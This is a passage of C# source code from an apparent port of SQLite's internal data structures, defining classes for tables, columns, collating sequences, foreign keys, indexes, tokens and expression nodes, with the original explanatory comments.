If NULL, use the default */\n      public u8 notNull;        /* True if there is a NOT NULL constraint */\n      public u8 isPrimKey;      /* True if this column is part of the PRIMARY KEY */\n      public char affinity;     /* One of the SQLITE_AFF_... values */\n#if !SQLITE_OMIT_VIRTUALTABLE\npublic   u8 isHidden;     /* True if this column is 'hidden' */\n#endif\n      public Column Copy()\n      {\n        Column cp = (Column)MemberwiseClone();\n        if ( cp.pDflt != null ) cp.pDflt = pDflt.Copy();\n        return cp;\n      }\n    };\n\n    /*\n    ** A \"Collating Sequence\" is defined by an instance of the following\n    ** structure. Conceptually, a collating sequence consists of a name and\n    ** a comparison routine that defines the order of that sequence.\n    **\n    ** There may two separate implementations of the collation function, one\n    ** that processes text in UTF-8 encoding (CollSeq.xCmp) and another that\n    ** processes text encoded in UTF-16 (CollSeq.xCmp16), using the machine\n    ** native byte order. When a collation sequence is invoked, SQLite selects\n    ** the version that will require the least expensive encoding\n    ** translations, if any.\n    **\n    ** The CollSeq.pUser member variable is an extra parameter that passed in\n    ** as the first argument to the UTF-8 comparison function, xCmp.\n    ** CollSeq.pUser16 is the equivalent for the UTF-16 comparison function,\n    ** xCmp16.\n    **\n    ** If both CollSeq.xCmp and CollSeq.xCmp16 are NULL, it means that the\n    ** collating sequence is undefined.  Indices built on an undefined\n    ** collating sequence may not be read or written.\n    */\n    public class CollSeq\n    {\n      public string zName;          /* Name of the collating sequence, UTF-8 encoded */\n      public u8 enc;                /* Text encoding handled by xCmp() */\n      public u8 type;               /* One of the SQLITE_COLL_... values below */\n      public object pUser;          /* First argument to xCmp() */\n      public dxCompare xCmp;//)(void*,int, const void*, int, const void*);\n      public dxDelCollSeq xDel;//)(void*);  /* Destructor for pUser */\n\n      public CollSeq Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          CollSeq cp = (CollSeq)MemberwiseClone();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** Allowed values of CollSeq.type:\n    */\n    const int SQLITE_COLL_BINARY = 1;//#define SQLITE_COLL_BINARY  1  /* The default memcmp() collating sequence */\n    const int SQLITE_COLL_NOCASE = 2;//#define SQLITE_COLL_NOCASE  2  /* The built-in NOCASE collating sequence */\n    const int SQLITE_COLL_REVERSE = 3;//#define SQLITE_COLL_REVERSE 3  /* The built-in REVERSE collating sequence */\n    const int SQLITE_COLL_USER = 0;//#define SQLITE_COLL_USER    0  /* Any other user-defined collating sequence */\n\n    /*\n    ** A sort order can be either ASC or DESC.\n    */\n    const int SQLITE_SO_ASC = 0;//#define SQLITE_SO_ASC       0  /* Sort in ascending order */\n    const int SQLITE_SO_DESC = 1;//#define SQLITE_SO_DESC     1  /* Sort in ascending order */\n\n    /*\n    ** Column affinity types.\n    **\n    ** These used to have mnemonic name like 'i' for SQLITE_AFF_INTEGER and\n    ** 't' for SQLITE_AFF_TEXT.  But we can save a little space and improve\n    ** the speed a little by numbering the values consecutively.\n    **\n    ** But rather than start with 0 or 1, we begin with 'a'.  That way,\n    ** when multiple affinity types are concatenated into a string and\n    ** used as the P4 operand, they will be more readable.\n    **\n    ** Note also that the numeric types are grouped together so that testing\n    ** for a numeric type is a single comparison.\n    */\n    const char SQLITE_AFF_TEXT = 'a';//#define SQLITE_AFF_TEXT     'a'\n    const char SQLITE_AFF_NONE = 'b';//#define SQLITE_AFF_NONE     'b'\n    const char SQLITE_AFF_NUMERIC = 'c';//#define SQLITE_AFF_NUMERIC  'c'\n    const char SQLITE_AFF_INTEGER = 'd';//#define SQLITE_AFF_INTEGER  'd'\n    const char SQLITE_AFF_REAL = 'e';//#define SQLITE_AFF_REAL     'e'\n\n    //#define sqlite3IsNumericAffinity(X)  ((X)>=SQLITE_AFF_NUMERIC)\n\n    /*\n    ** The SQLITE_AFF_MASK values masks off the significant bits of an\n    ** affinity value.\n    */\n    const int SQLITE_AFF_MASK = 0x67;//#define SQLITE_AFF_MASK     0x67\n\n    /*\n    ** Additional bit values that can be ORed with an affinity without\n    ** changing the affinity.\n    */\n    const int SQLITE_JUMPIFNULL = 0x08;//#define SQLITE_JUMPIFNULL   0x08  /* jumps if either operand is NULL */\n    const int SQLITE_STOREP2 = 0x10;   //#define SQLITE_STOREP2      0x10  /* Store result in reg[P2] rather than jump */\n\n    /*\n    ** An object of this type is created for each virtual table present in\n    ** the database schema. \n    **\n    ** If the database schema is shared, then there is one instance of this\n    ** structure for each database connection (sqlite3*) that uses the shared\n    ** schema. This is because each database connection requires its own unique\n    ** instance of the sqlite3_vtab* handle used to access the virtual table \n    ** implementation. sqlite3_vtab* handles can not be shared between \n    ** database connections, even when the rest of the in-memory database \n    ** schema is shared, as the implementation often stores the database\n    ** connection handle passed to it via the xConnect() or xCreate() method\n    ** during initialization internally. This database connection handle may\n    ** then used by the virtual table implementation to access real tables \n    ** within the database. So that they appear as part of the callers \n    ** transaction, these accesses need to be made via the same database \n    ** connection as that used to execute SQL operations on the virtual table.\n    **\n    ** All VTable objects that correspond to a single table in a shared\n    ** database schema are initially stored in a linked-list pointed to by\n    ** the Table.pVTable member variable of the corresponding Table object.\n    ** When an sqlite3_prepare() operation is required to access the virtual\n    ** table, it searches the list for the VTable that corresponds to the\n    ** database connection doing the preparing so as to use the correct\n    ** sqlite3_vtab* handle in the compiled query.\n    **\n    ** When an in-memory Table object is deleted (for example when the\n    ** schema is being reloaded for some reason), the VTable objects are not \n    ** deleted and the sqlite3_vtab* handles are not xDisconnect()ed \n    ** immediately. Instead, they are moved from the Table.pVTable list to\n    ** another linked list headed by the sqlite3.pDisconnect member of the\n    ** corresponding sqlite3 structure. They are then deleted/xDisconnected \n    ** next time a statement is prepared using said sqlite3*. This is done\n    ** to avoid deadlock issues involving multiple sqlite3.mutex mutexes.\n    ** Refer to comments above function sqlite3VtabUnlockList() for an\n    ** explanation as to why it is safe to add an entry to an sqlite3.pDisconnect\n    ** list without holding the corresponding sqlite3.mutex mutex.\n    **\n    ** The memory for objects of this type is always allocated by \n    ** sqlite3DbMalloc(), using the connection handle stored in VTable.db as \n    ** the first argument.\n    */\n    public class VTable\n    {\n      public sqlite3 db;              /* Database connection associated with this table */\n      public Module pMod;             /* Pointer to module implementation */\n      public sqlite3_vtab pVtab;      /* Pointer to vtab instance */\n      public int nRef;                /* Number of pointers to this structure */\n      public VTable pNext;            /* Next in linked list (see above) */\n    };\n\n    /*\n    ** Each SQL table is represented in memory by an instance of the\n    ** following structure.\n    **\n    ** Table.zName is the name of the table.  The case of the original\n    ** CREATE TABLE statement is stored, but case is not significant for\n    ** comparisons.\n    **\n    ** Table.nCol is the number of columns in this table.  Table.aCol is a\n    ** pointer to an array of Column structures, one for each column.\n    **\n    ** If the table has an INTEGER PRIMARY KEY, then Table.iPKey is the index of\n    ** the column that is that key.   Otherwise Table.iPKey is negative.  Note\n    ** that the datatype of the PRIMARY KEY must be INTEGER for this field to\n    ** be set.  An INTEGER PRIMARY KEY is used as the rowid for each row of\n    ** the table.  If a table has no INTEGER PRIMARY KEY, then a random rowid\n    ** is generated for each row of the table.  TF_HasPrimaryKey is set if\n    ** the table has any PRIMARY KEY, INTEGER or otherwise.\n    **\n    ** Table.tnum is the page number for the root BTree page of the table in the\n    ** database file.  If Table.iDb is the index of the database table backend\n    ** in sqlite.aDb[].  0 is for the main database and 1 is for the file that\n    ** holds temporary tables and indices.  If TF_Ephemeral is set\n    ** then the table is stored in a file that is automatically deleted\n    ** when the VDBE cursor to the table is closed.  In this case Table.tnum\n    ** refers VDBE cursor number that holds the table open, not to the root\n    ** page number.  Transient tables are used to hold the results of a\n    ** sub-query that appears instead of a real table name in the FROM clause\n    ** of a SELECT statement.\n    */\n    public class Table\n    {\n      public sqlite3 dbMem;     /* DB connection used for lookaside allocations. */\n      public string zName;      /* Name of the table or view */\n      public int iPKey;         /* If not negative, use aCol[iPKey] as the primary key */\n      public int nCol;          /* Number of columns in this table */\n      public Column[] aCol;     /* Information about each column */\n      public Index pIndex;      /* List of SQL indexes on this table. */\n      public int tnum;          /* Root BTree node for this table (see note above) */\n      public Select pSelect;    /* NULL for tables.  Points to definition if a view. */\n      public u16 nRef;          /* Number of pointers to this Table */\n      public u8 tabFlags;       /* Mask of TF_* values */\n      public u8 keyConf;        /* What to do in case of uniqueness conflict on iPKey */\n      public FKey pFKey;        /* Linked list of all foreign keys in this table */\n      public string zColAff;    /* String defining the affinity of each column */\n#if !SQLITE_OMIT_CHECK\n      public Expr pCheck;       /* The AND of all CHECK constraints */\n#endif\n#if !SQLITE_OMIT_ALTERTABLE\n      public int addColOffset;  /* Offset in CREATE TABLE stmt to add a new column */\n#endif\n#if !SQLITE_OMIT_VIRTUALTABLE\n      public VTable pVTable;      /* List of VTable objects. */\n      public int nModuleArg;      /* Number of arguments to the module */\n      public string[] azModuleArg;/* Text of all module args. [0] is module name */\n#endif\n      public Trigger pTrigger;  /* List of SQL triggers on this table */\n      public Schema pSchema;    /* Schema that contains this table */\n      public Table pNextZombie;  /* Next on the Parse.pZombieTab list */\n\n      public Table Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Table cp = (Table)MemberwiseClone();\n          if ( pIndex != null ) cp.pIndex = pIndex.Copy();\n          if ( pSelect != null ) cp.pSelect = pSelect.Copy();\n          if ( pTrigger != null ) cp.pTrigger = pTrigger.Copy();\n          if ( pFKey != null ) cp.pFKey = pFKey.Copy();\n#if !SQLITE_OMIT_CHECK\n          // Don't Clone Checks, only copy reference via Memberwise Clone above --\n          //if ( pCheck != null ) cp.pCheck = pCheck.Copy();\n#endif\n#if !SQLITE_OMIT_VIRTUALTABLE\nif ( pMod != null ) cp.pMod =pMod.Copy();\nif ( pVtab != null ) cp.pVtab =pVtab.Copy();\n#endif\n          // Don't Clone Schema, only copy reference via Memberwise Clone above --\n          // if ( pSchema != null ) cp.pSchema=pSchema.Copy();\n          // Don't Clone pNextZombie, only copy reference via Memberwise Clone above --\n          // if ( pNextZombie != null ) cp.pNextZombie=pNextZombie.Copy();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** Allowed values for Tabe.tabFlags.\n    */\n    //#define TF_Readonly        0x01    /* Read-only system table */\n    //#define TF_Ephemeral       0x02    /* An ephemeral table */\n    //#define TF_HasPrimaryKey   0x04    /* Table has a primary key */\n    //#define TF_Autoincrement   0x08    /* Integer primary key is autoincrement */\n    //#define TF_Virtual         0x10    /* Is a virtual table */\n    //#define TF_NeedMetadata    0x20    /* aCol[].zType and aCol[].pColl missing */\n    /*\n    ** Allowed values for Tabe.tabFlags.\n    */\n    const int TF_Readonly = 0x01;   /* Read-only system table */\n    const int TF_Ephemeral = 0x02;   /* An ephemeral table */\n    const int TF_HasPrimaryKey = 0x04;   /* Table has a primary key */\n    const int TF_Autoincrement = 0x08;   /* Integer primary key is autoincrement */\n    const int TF_Virtual = 0x10;   /* Is a virtual table */\n    const int TF_NeedMetadata = 0x20;   /* aCol[].zType and aCol[].pColl missing */\n\n    /*\n    ** Test to see whether or not a table is a virtual table.  This is\n    ** done as a macro so that it will be optimized out when virtual\n    ** table support is omitted from the build.\n    */\n#if !SQLITE_OMIT_VIRTUALTABLE\n//#  define IsVirtual(X)      (((X)->tabFlags & TF_Virtual)!=0)\nstatic bool IsVirtual( Table X) { return (X.tabFlags & TF_Virtual)!=0;}\n//#  define IsHiddenColumn(X) ((X)->isHidden)\nstatic bool IsVirtual( Column X) { return X.isHidden!=0;}\n#else\n    //#  define IsVirtual(X)      0\n    static bool IsVirtual( Table T ) { return false; }\n    //#  define IsHiddenColumn(X) 0\n    static bool IsHiddenColumn( Column C ) { return false; }\n#endif\n\n    /*\n** Each foreign key constraint is an instance of the following structure.\n**\n** A foreign key is associated with two tables.  The \"from\" table is\n** the table that contains the REFERENCES clause that creates the foreign\n** key.  The \"to\" table is the table that is named in the REFERENCES clause.\n** Consider this example:\n**\n**     CREATE TABLE ex1(\n**       a INTEGER PRIMARY KEY,\n**       b INTEGER CONSTRAINT fk1 REFERENCES ex2(x)\n**     );\n**\n** For foreign key \"fk1\", the from-table is \"ex1\" and the to-table is \"ex2\".\n**\n** Each REFERENCES clause generates an instance of the following structure\n** which is attached to the from-table.  The to-table need not exist when\n** the from-table is created.  The existence of the to-table is not checked.\n*/\n    public class FKey\n    {\n      public Table pFrom;         /* The table that contains the REFERENCES clause */\n      public FKey pNextFrom;      /* Next foreign key in pFrom */\n      public string zTo;          /* Name of table that the key points to */\n      public int nCol;            /* Number of columns in this key */\n      public u8 isDeferred;       /* True if constraint checking is deferred till COMMIT */\n      public u8 updateConf;       /* How to resolve conflicts that occur on UPDATE */\n      public u8 deleteConf;       /* How to resolve conflicts that occur on DELETE */\n      public u8 insertConf;       /* How to resolve conflicts that occur on INSERT */\n      public class sColMap\n      {  /* Mapping of columns in pFrom to columns in zTo */\n        public int iFrom;         /* Index of column in pFrom */\n        public string zCol;       /* Name of column in zTo.  If 0 use PRIMARY KEY */\n      };\n      public sColMap[] aCol;      /* One entry for each of nCol column s */\n\n      public FKey Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          FKey cp = (FKey)MemberwiseClone();\n          if ( pFrom != null ) cp.pFrom = pFrom.Copy();\n          if ( pNextFrom != null ) cp.pNextFrom = pNextFrom.Copy();\n          Debugger.Break(); // Check on the sCollMap\n          return cp;\n        }\n      }\n\n    };\n\n    /*\n    ** SQLite supports many different ways to resolve a constraint\n    ** error.  ROLLBACK processing means that a constraint violation\n    ** causes the operation in process to fail and for the current transaction\n    ** to be rolled back.  ABORT processing means the operation in process\n    ** fails and any prior changes from that one operation are backed out,\n    ** but the transaction is not rolled back.  FAIL processing means that\n    ** the operation in progress stops and returns an error code.  But prior\n    ** changes due to the same operation are not backed out and no rollback\n    ** occurs.  IGNORE means that the particular row that caused the constraint\n    ** error is not inserted or updated.  Processing continues and no error\n    ** is returned.  REPLACE means that preexisting database rows that caused\n    ** a UNIQUE constraint violation are removed so that the new insert or\n    ** update can proceed.  Processing continues and no error is reported.\n    **\n    ** RESTRICT, SETNULL, and CASCADE actions apply only to foreign keys.\n    ** RESTRICT is the same as ABORT for IMMEDIATE foreign keys and the\n    ** same as ROLLBACK for DEFERRED keys.  SETNULL means that the foreign\n    ** key is set to NULL.  CASCADE means that a DELETE or UPDATE of the\n    ** referenced table row is propagated into the row that holds the\n    ** foreign key.\n    **\n    ** The following symbolic values are used to record which type\n    ** of action to take.\n    */\n    const int OE_None = 0;//#define OE_None     0   /* There is no constraint to check */\n    const int OE_Rollback = 1;//#define OE_Rollback 1   /* Fail the operation and rollback the transaction */\n    const int OE_Abort = 2;//#define OE_Abort    2   /* Back out changes but do no rollback transaction */\n    const int OE_Fail = 3;//#define OE_Fail     3   /* Stop the operation but leave all prior changes */\n    const int OE_Ignore = 4;//#define OE_Ignore   4   /* Ignore the error. Do not do the INSERT or UPDATE */\n    const int OE_Replace = 5;//#define OE_Replace  5   /* Delete existing record, then do INSERT or UPDATE */\n\n    const int OE_Restrict = 6;//#define OE_Restrict 6   /* OE_Abort for IMMEDIATE, OE_Rollback for DEFERRED */\n    const int OE_SetNull = 7;//#define OE_SetNull  7   /* Set the foreign key value to NULL */\n    const int OE_SetDflt = 8;//#define OE_SetDflt  8   /* Set the foreign key value to its default */\n    const int OE_Cascade = 9;//#define OE_Cascade  9   /* Cascade the changes */\n\n    const int OE_Default = 99;//#define OE_Default  99  /* Do whatever the default action is */\n\n\n    /*\n    ** An instance of the following structure is passed as the first\n    ** argument to sqlite3VdbeKeyCompare and is used to control the\n    ** comparison of the two index keys.\n    */\n    public class KeyInfo\n    {\n      public sqlite3 db;          /* The database connection */\n      public u8 enc;             /* Text encoding - one of the TEXT_Utf* values */\n      public u16 nField;          /* Number of entries in aColl[] */\n      public u8[] aSortOrder;   /* If defined an aSortOrder[i] is true, sort DESC */\n      public CollSeq[] aColl = new CollSeq[1];  /* Collating sequence for each term of the key */\n      public KeyInfo Copy()\n      {\n        return (KeyInfo)MemberwiseClone();\n      }\n    };\n\n    /*\n    ** An instance of the following structure holds information about a\n    ** single index record that has already been parsed out into individual\n    ** values.\n    **\n    ** A record is an object that contains one or more fields of data.\n    ** Records are used to store the content of a table row and to store\n    ** the key of an index.  A blob encoding of a record is created by\n    ** the OP_MakeRecord opcode of the VDBE and is disassembled by the\n    ** OP_Column opcode.\n    **\n    ** This structure holds a record that has already been disassembled\n    ** into its constituent fields.\n    */\n    public class UnpackedRecord\n    {\n      public KeyInfo pKeyInfo;   /* Collation and sort-order information */\n      public u16 nField;         /* Number of entries in apMem[] */\n      public u16 flags;          /* Boolean settings.  UNPACKED_... below */\n      public i64 rowid;          /* Used by UNPACKED_PREFIX_SEARCH */\n      public Mem[] aMem;         /* Values */\n    };\n\n    /*\n    ** Allowed values of UnpackedRecord.flags\n    */\n    //#define UNPACKED_NEED_FREE     0x0001  /* Memory is from sqlite3Malloc() */\n    //#define UNPACKED_NEED_DESTROY  0x0002  /* apMem[]s should all be destroyed */\n    //#define UNPACKED_IGNORE_ROWID  0x0004  /* Ignore trailing rowid on key1 */\n    //#define UNPACKED_INCRKEY       0x0008  /* Make this key an epsilon larger */\n    //#define UNPACKED_PREFIX_MATCH  0x0010  /* A prefix match is considered OK */\n    //#define UNPACKED_PREFIX_SEARCH 0x0020  /* A prefix match is considered OK */\n    const int UNPACKED_NEED_FREE = 0x0001;  /* Memory is from sqlite3Malloc() */\n    const int UNPACKED_NEED_DESTROY = 0x0002;  /* apMem[]s should all be destroyed */\n    const int UNPACKED_IGNORE_ROWID = 0x0004;  /* Ignore trailing rowid on key1 */\n    const int UNPACKED_INCRKEY = 0x0008;  /* Make this key an epsilon larger */\n    const int UNPACKED_PREFIX_MATCH = 0x0010;  /* A prefix match is considered OK */\n    const int UNPACKED_PREFIX_SEARCH = 0x0020; /* A prefix match is considered OK */\n\n    /*\n    ** Each SQL index is represented in memory by an\n    ** instance of the following structure.\n    **\n    ** The columns of the table that are to be indexed are described\n    ** by the aiColumn[] field of this structure.  For example, suppose\n    ** we have the following table and index:\n    **\n    **     CREATE TABLE Ex1(c1 int, c2 int, c3 text);\n    **     CREATE INDEX Ex2 ON Ex1(c3,c1);\n    **\n    ** In the Table structure describing Ex1, nCol==3 because there are\n    ** three columns in the table.  In the Index structure describing\n    ** Ex2, nColumn==2 since 2 of the 3 columns of Ex1 are indexed.\n    ** The value of aiColumn is {2, 0}.  aiColumn[0]==2 because the\n    ** first column to be indexed (c3) has an index of 2 in Ex1.aCol[].\n    ** The second column to be indexed (c1) has an index of 0 in\n    ** Ex1.aCol[], hence Ex2.aiColumn[1]==0.\n    **\n    ** The Index.onError field determines whether or not the indexed columns\n    ** must be unique and what to do if they are not.  When Index.onError=OE_None,\n    ** it means this is not a unique index.  Otherwise it is a unique index\n    ** and the value of Index.onError indicate the which conflict resolution\n    ** algorithm to employ whenever an attempt is made to insert a non-unique\n    ** element.\n    */\n    public class Index\n    {\n      public string zName;      /* Name of this index */\n      public int nColumn;       /* Number of columns in the table used by this index */\n      public int[] aiColumn;    /* Which columns are used by this index.  1st is 0 */\n      public int[] aiRowEst;    /* Result of ANALYZE: Est. rows selected by each column */\n      public Table pTable;      /* The SQL table being indexed */\n      public int tnum;          /* Page containing root of this index in database file */\n      public u8 onError;        /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */\n      public u8 autoIndex;      /* True if is automatically created (ex: by UNIQUE) */\n      public string zColAff;    /* String defining the affinity of each column */\n      public Index pNext;       /* The next index associated with the same table */\n      public Schema pSchema;    /* Schema containing this index */\n      public u8[] aSortOrder;   /* Array of size Index.nColumn. True==DESC, False==ASC */\n      public string[] azColl;   /* Array of collation sequence names for index */\n\n      public Index Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Index cp = (Index)MemberwiseClone();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** Each token coming out of the lexer is an instance of\n    ** this structure.  Tokens are also used as part of an expression.\n    **\n    ** Note if Token.z==0 then Token.dyn and Token.n are undefined and\n    ** may contain random values.  Do not make any assumptions about Token.dyn\n    ** and Token.n when Token.z==0.\n    */\n    public class Token\n    {\n#if DEBUG_CLASS_TOKEN || DEBUG_CLASS_ALL\npublic string _z; /* Text of the token.  Not NULL-terminated! */\npublic bool dyn;//  : 1;      /* True for malloced memory, false for static */\npublic Int32 _n;//  : 31;     /* Number of characters in this token */\n\npublic string z\n{\nget { return _z; }\nset { _z = value; }\n}\n\npublic Int32 n\n{\nget { return _n; }\nset { _n = value; }\n}\n#else\n      public string z; /* Text of the token.  Not NULL-terminated! */\n      public Int32 n;  /* Number of characters in this token */\n#endif\n      public Token()\n      {\n        this.z = null;\n        this.n = 0;\n      }\n      public Token( string z, Int32 n )\n      {\n        this.z = z;\n        this.n = n;\n      }\n      public Token Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Token cp = (Token)MemberwiseClone();\n          if ( z == null || z.Length == 0 )\n            cp.n = 0;\n          else\n            if ( n > z.Length ) cp.n = z.Length;\n          return cp;\n        }\n      }\n    }\n\n    /*\n    ** An instance of this structure contains information needed to generate\n    ** code for a SELECT that contains aggregate functions.\n    **\n    ** If Expr.op==TK_AGG_COLUMN or TK_AGG_FUNCTION then Expr.pAggInfo is a\n    ** pointer to this structure.  The Expr.iColumn field is the index in\n    ** AggInfo.aCol[] or AggInfo.aFunc[] of information needed to generate\n    ** code for that node.\n    **\n    ** AggInfo.pGroupBy and AggInfo.aFunc.pExpr point to fields within the\n    ** original Select structure that describes the SELECT statement.  These\n    ** fields do not need to be freed when deallocating the AggInfo structure.\n    */\n    public class AggInfo_col\n    {    /* For each column used in source tables */\n      public Table pTab;             /* Source table */\n      public int iTable;              /* VdbeCursor number of the source table */\n      public int iColumn;             /* Column number within the source table */\n      public int iSorterColumn;       /* Column number in the sorting index */\n      public int iMem;                /* Memory location that acts as accumulator */\n      public Expr pExpr;             /* The original expression */\n    };\n    public class AggInfo_func\n    {   /* For each aggregate function */\n      public Expr pExpr;             /* Expression encoding the function */\n      public FuncDef pFunc;          /* The aggregate function implementation */\n      public int iMem;                /* Memory location that acts as accumulator */\n      public int iDistinct;           /* Ephemeral table used to enforce DISTINCT */\n    }\n    public class AggInfo\n    {\n      public u8 directMode;          /* Direct rendering mode means take data directly\n** from source tables rather than from accumulators */\n      public u8 useSortingIdx;       /* In direct mode, reference the sorting index rather\n** than the source table */\n      public int sortingIdx;         /* VdbeCursor number of the sorting index */\n      public ExprList pGroupBy;     /* The group by clause */\n      public int nSortingColumn;     /* Number of columns in the sorting index */\n      public AggInfo_col[] aCol;\n      public int nColumn;            /* Number of used entries in aCol[] */\n      public int nColumnAlloc;       /* Number of slots allocated for aCol[] */\n      public int nAccumulator;       /* Number of columns that show through to the output.\n** Additional columns are used only as parameters to\n** aggregate functions */\n      public AggInfo_func[] aFunc;\n      public int nFunc;              /* Number of entries in aFunc[] */\n      public int nFuncAlloc;         /* Number of slots allocated for aFunc[] */\n\n      public AggInfo Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          AggInfo cp = (AggInfo)MemberwiseClone();\n          if ( pGroupBy != null ) cp.pGroupBy = pGroupBy.Copy();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** Each node of an expression in the parse tree is an instance\n    ** of this structure.\n    **\n    ** Expr.op is the opcode.  The integer parser token codes are reused\n    ** as opcodes here.  For example, the parser defines TK_GE to be an integer\n    ** code representing the \">=\" operator.  This same integer code is reused\n    ** to represent the greater-than-or-equal-to operator in the expression\n    ** tree.\n    **\n    ** If the expression is an SQL literal (TK_INTEGER, TK_FLOAT, TK_BLOB,\n    ** or TK_STRING), then Expr.token contains the text of the SQL literal. If\n    ** the expression is a variable (TK_VARIABLE), then Expr.token contains the\n    ** variable name. Finally, if the expression is an SQL function (TK_FUNCTION),\n    ** then Expr.token contains the name of the function.\n    **\n    ** Expr.pRight and Expr.pLeft are the left and right subexpressions of a\n    ** binary operator. Either or both may be NULL.\n    **\n    ** Expr.x.pList is a list of arguments if the expression is an SQL function,\n    ** a CASE expression or an IN expression of the form \"<lhs> IN (<y>, <z>...)\".\n    ** Expr.x.pSelect is used if the expression is a sub-select or an expression of\n    ** the form \"<lhs> IN (SELECT ...)\". If the EP_xIsSelect bit is set in the\n    ** Expr.flags mask, then Expr.x.pSelect is valid. Otherwise, Expr.x.pList is\n    ** valid.\n    **\n    ** An expression of the form ID or ID.ID refers to a column in a table.\n    ** For such expressions, Expr.op is set to TK_COLUMN and Expr.iTable is\n    ** the integer cursor number of a VDBE cursor pointing to that table and\n    ** Expr.iColumn is the column number for the specific column.  If the\n    ** expression is used as a result in an aggregate SELECT, then the\n    ** value is also stored in the Expr.iAgg column in the aggregate so that\n    ** it can be accessed after all aggregates are computed.\n    **\n    ** If the expression is an unbound variable marker (a question mark\n    ** character '?' in the original SQL) then the Expr.iTable holds the index\n    ** number for that variable.\n    **\n    ** If the expression is a subquery then Expr.iColumn holds an integer\n    ** register number containing the result of the subquery.  If the\n    ** subquery gives a constant result, then iTable is -1.  If the subquery\n    ** gives a different answer at different times during statement processing\n    ** then iTable is the address of a subroutine that computes the subquery.\n    **\n    ** If the Expr is of type OP_Column, and the table it is selecting from\n    ** is a disk table or the \"old.*\" pseudo-table, then pTab points to the\n    ** corresponding table definition.\n    **\n    ** ALLOCATION NOTES:\n    **\n    ** Expr objects can use a lot of memory space in database schema.  To\n    ** help reduce memory requirements, sometimes an Expr object will be\n    ** truncated.  And to reduce the number of memory allocations, sometimes\n    ** two or more Expr objects will be stored in a single memory allocation,\n    ** together with Expr.zToken strings.\n    **\n    ** If the EP_Reduced and EP_TokenOnly flags are set when\n    ** an Expr object is truncated.  When EP_Reduced is set, then all\n    ** the child Expr objects in the Expr.pLeft and Expr.pRight subtrees\n    ** are contained within the same memory allocation.  Note, however, that\n    ** the subtrees in Expr.x.pList or Expr.x.pSelect are always separately\n    ** allocated, regardless of whether or not EP_Reduced is set.\n    */\n    public class Expr\n    {\n#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL\npublic u8 _op;                      /* Operation performed by this node */\npublic u8 op\n{\nget { return _op; }\nset { _op = value; }\n}\n#else\n      public u8 op;                 /* Operation performed by this node */\n#endif\n      public char affinity;         /* The affinity of the column or 0 if not a column */\n#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL\npublic u16 _flags;                            /* Various flags.  EP_* See below */\npublic u16 flags\n{\nget { return _flags; }\nset { _flags = value; }\n}\npublic struct _u\n{\npublic string _zToken;         /* Token value. Zero terminated and dequoted */\npublic string zToken\n{\nget { return _zToken; }\nset { _zToken = value; }\n}\npublic int iValue;            /* Integer value if EP_IntValue */\n}\n\n#else\n      public struct _u\n      {\n        public string zToken;         /* Token value. Zero terminated and dequoted */\n        public int iValue;            /* Integer value if EP_IntValue */\n      }\n      public u16 flags;             /* Various flags.  EP_* See below */\n#endif\n      public _u u;\n\n      /* If the EP_TokenOnly flag is set in the Expr.flags mask, then no\n      ** space is allocated for the fields below this point. An attempt to\n      ** access them will result in a segfault or malfunction.\n      *********************************************************************/\n\n      public Expr pLeft;                           /* Left subnode */\n      public Expr pRight;                          /* Right subnode */\n      public struct _x\n      {\n        public ExprList pList;                       /* Function arguments or in \"<expr> IN (<expr-list)\" */\n        public Select pSelect;                       /* Used for sub-selects and \"<expr> IN (<select>)\" */\n      }\n      public _x x;\n      public CollSeq pColl;                        /* The collation type of the column or 0 */\n\n      /* If the EP_Reduced flag is set in the Expr.flags mask, then no\n      ** space is allocated for the fields below this point. An attempt to\n      ** access them will result in a segfault or malfunction.\n      *********************************************************************/\n\n      public int iTable;            /* TK_COLUMN: cursor number of table holding column\n   ** TK_REGISTER: register number */\n      public i16 iColumn;           /* TK_COLUMN: column index.  -1 for rowid */\n      public i16 iAgg;              /* Which entry in pAggInfo->aCol[] or ->aFunc[] */\n      public i16 iRightJoinTable;   /* If EP_FromJoin, the right table of the join */\n      public u16 flags2;            /* Second set of flags.  EP2_... */\n      public AggInfo pAggInfo;      /* Used by TK_AGG_COLUMN and TK_AGG_FUNCTION */\n      public Table pTab;            /* Table for TK_COLUMN expressions. */\n#if SQLITE_MAX_EXPR_DEPTH //>0\n      public int nHeight;           /* Height of the tree headed by this node */\n      public Table pZombieTab;      /* List of Table objects to delete after code gen */\n#endif\n\n#if DEBUG_CLASS\npublic int op\n{\nget { return _op; }\nset { _op = value; }\n}\n#endif\n      public void CopyFrom( Expr cf )\n      {\n        op = cf.op;\n        affinity = cf.affinity;\n        flags = cf.flags;\n        u = cf.u;\n        pColl = cf.pColl == null ? null : cf.pColl.Copy();\n        iTable = cf.iTable;\n        iColumn = cf.iColumn;\n        pAggInfo = cf.pAggInfo == null ? null : cf.pAggInfo.Copy();\n        iAgg = cf.iAgg;\n        iRightJoinTable = cf.iRightJoinTable;\n        flags2 = cf.flags2;\n        pTab = cf.pTab == null ? null : cf.pTab.Copy();\n#if SQLITE_TEST || SQLITE_MAX_EXPR_DEPTH //SQLITE_MAX_EXPR_DEPTH>0\n        nHeight = cf.nHeight;\n        pZombieTab = cf.pZombieTab;\n#endif\n        pLeft = cf.pLeft == null ? null : cf.pLeft.Copy();\n        pRight = cf.pRight == null ? null : cf.pRight.Copy();\n        x.pList = cf.x.pList == null ? null : cf.x.pList.Copy();\n        x.pSelect = cf.x.pSelect == null ? null : cf.x.pSelect.Copy();\n      }\n\n      public Expr Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Expr cp = Copy_Minimal();\n          if ( pLeft != null ) cp.pLeft = pLeft.Copy();\n          if ( pRight != null ) cp.pRight = pRight.Copy();\n          return cp;\n        }\n      }\n      public Expr Copy_Minimal()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Expr cp = new Expr();\n          cp.op = op;\n          